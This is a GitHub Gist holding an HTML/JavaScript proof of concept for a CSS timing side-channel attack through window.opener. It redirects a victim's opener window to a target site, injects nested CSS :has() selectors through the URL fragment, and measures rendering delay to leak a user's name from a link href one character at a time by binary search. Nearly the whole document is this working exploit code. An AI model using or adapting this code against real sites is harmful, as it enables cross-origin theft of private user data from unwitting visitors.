Created
June 17, 2020 04:19
-
-
Save keerok/b55462036212863b8faa0567b499b49d to your computer and use it in GitHub Desktop.
css timing attack via window.opener
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en" dir="ltr"> | |
<head> | |
<meta charset="utf-8"> | |
<title></title> | |
<h1>working on chrome linux & mac</h1> | |
<a href="" target=_blank>click me before</a> | |
</head> | |
<body> | |
<button type="button" id=clickme name="button">click me</button> | |
<button type="button" id="button"></button> | |
<div id=result></div> | |
<script> | |
var mss=""; | |
const splitArray = (array) => { | |
let halfwayThrough = Math.floor(array.length / 2); | |
let firstHalf = array.slice(0, halfwayThrough); | |
let secondHalf = array.slice(halfwayThrough, array.length); | |
return [firstHalf, secondHalf]; | |
} | |
const redirect = (win, base, characters) => { | |
return new Promise((resolve) => { | |
let url = `https://host.com/?x=${Math.random()}#xyz`; | |
win.location = url + generateSelector(base, characters); | |
resolve(true); | |
}); | |
} | |
const confirmation = (win) =>{ | |
redirect(win,"",char); | |
} | |
const generateSelector = (base, characters) => { | |
let selector = ""; | |
for (let char of characters) { | |
selector += `*:has(*:has(*:has(*:has(*:has(*:has(*:has(*:has(*:has(*:has(*:has(*))))))))))):has(a[href^='//HOST.com/user/${base}${char}']),`; | |
} | |
return selector.slice(0, selector.length - 1); | |
} | |
const hookDelay = async (win, base, letter) => { | |
return new Promise((resolve) => { | |
let counter = 0; | |
let timer = setInterval(() => { | |
if (win.length >= 2 && counter < 252) { | |
result.innerHTML="<div contenteditable=true autofocus>xxx</div>"; | |
win.location = "about:blank"; | |
clearInterval(timer); | |
setTimeout(()=> { resolve({ status: false, leak: letter }) }, 50); | |
} else if (win.length >= 2 && counter > 252) { | |
result.innerHTML="<div contenteditable=true autofocus>xxx</div>"; | |
clearInterval(timer); | |
win.location = "about:blank"; | |
setTimeout(()=> { resolve({ status: true, leak: letter }) }, 50); | |
} | |
counter++; | |
}, 0); | |
}); | |
} | |
const check = async(win,base,letter) =>{ | |
return new Promise((resolve) => { | |
let counter = 0; | |
let timer = setInterval(() => { | |
if (win.length >= 2 && counter < 252) { | |
result.innerHTML="<div contenteditable=true autofocus>xxx</div>"; | |
win.location = "about:blank"; | |
clearInterval(timer); | |
setTimeout(()=> { resolve({ status: false, leak: letter }) }, 50); | |
} else if (win.length >= 2 && counter > 252) { | |
result.innerHTML="<div contenteditable=true autofocus>xxx</div>"; | |
clearInterval(timer); | |
win.location = "about:blank"; | |
setTimeout(()=> { resolve({ stats: true, lek: letter }) }, 50); | |
} | |
counter++; | |
}, 0); | |
}); | |
} | |
const checkChars = async (win, base, characters) => { | |
var x=0; | |
var a=base; | |
button.click(); | |
let halfs = splitArray(characters); | |
await redirect(win, base, halfs[0]); | |
let { status, leak } = await hookDelay(win, base, halfs[0]); | |
await redirect(win, base, halfs[0]); | |
let { stats, lek } = await check(win, base, halfs[0]); | |
if (status && stats) { | |
result.innerHTML=base; | |
var x=1; | |
console.log(base, halfs[0]); | |
if(halfs[0][0] === "*"){location.reload()} | |
console.log(`${base} => ${stats} && ${base} => ${status}`); | |
if (halfs[0][0] === "*") return alert(`Name: ${base}`); | |
if(halfs[0].length === 1){ | |
localStorage.setItem('poc',base+halfs[0][0]); | |
location.reload(); | |
//checkChars(win, base + halfs[0][0], alphabet) | |
}else{ | |
result.innerHTML=base; | |
checkChars(win, base, halfs[0]); | |
} | |
} else { | |
console.log(base, halfs[1]); | |
if (halfs[1][0] === "*") return; | |
if(halfs[1].length === 1){ | |
result.innerHTML="<div contenteditable=true autofocus>xxx</div>"; | |
localStorage.setItem("poc",base+halfs[1][0]); | |
location.reload(); | |
}else{ | |
result.innerHTML="<div contenteditable=true autofocus>xxx</div>"; | |
checkChars(win, base, halfs[1]); | |
} | |
} | |
} | |
let alphabet = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "*"]; | |
if(window.name=="win1"){ | |
setTimeout(function(){ | |
window.opener.location="about:blank"; | |
let win = window.opener; | |
checkChars(win, localStorage.getItem("poc")||"", alphabet); | |
button.click(); | |
},4000); | |
button.click(); | |
} | |
clickme.onclick = async () => { | |
window.name="win1"; | |
window.opener.location="about:blank"; | |
let win = window.opener; | |
if(localStorage.getItem('poc')){ | |
checkChars(win, localStorage.getItem('poc'), alphabet); | |
}else{ | |
localStorage.setItem('poc',''); | |
checkChars(win, "", alphabet); | |
} | |
} | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
x |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment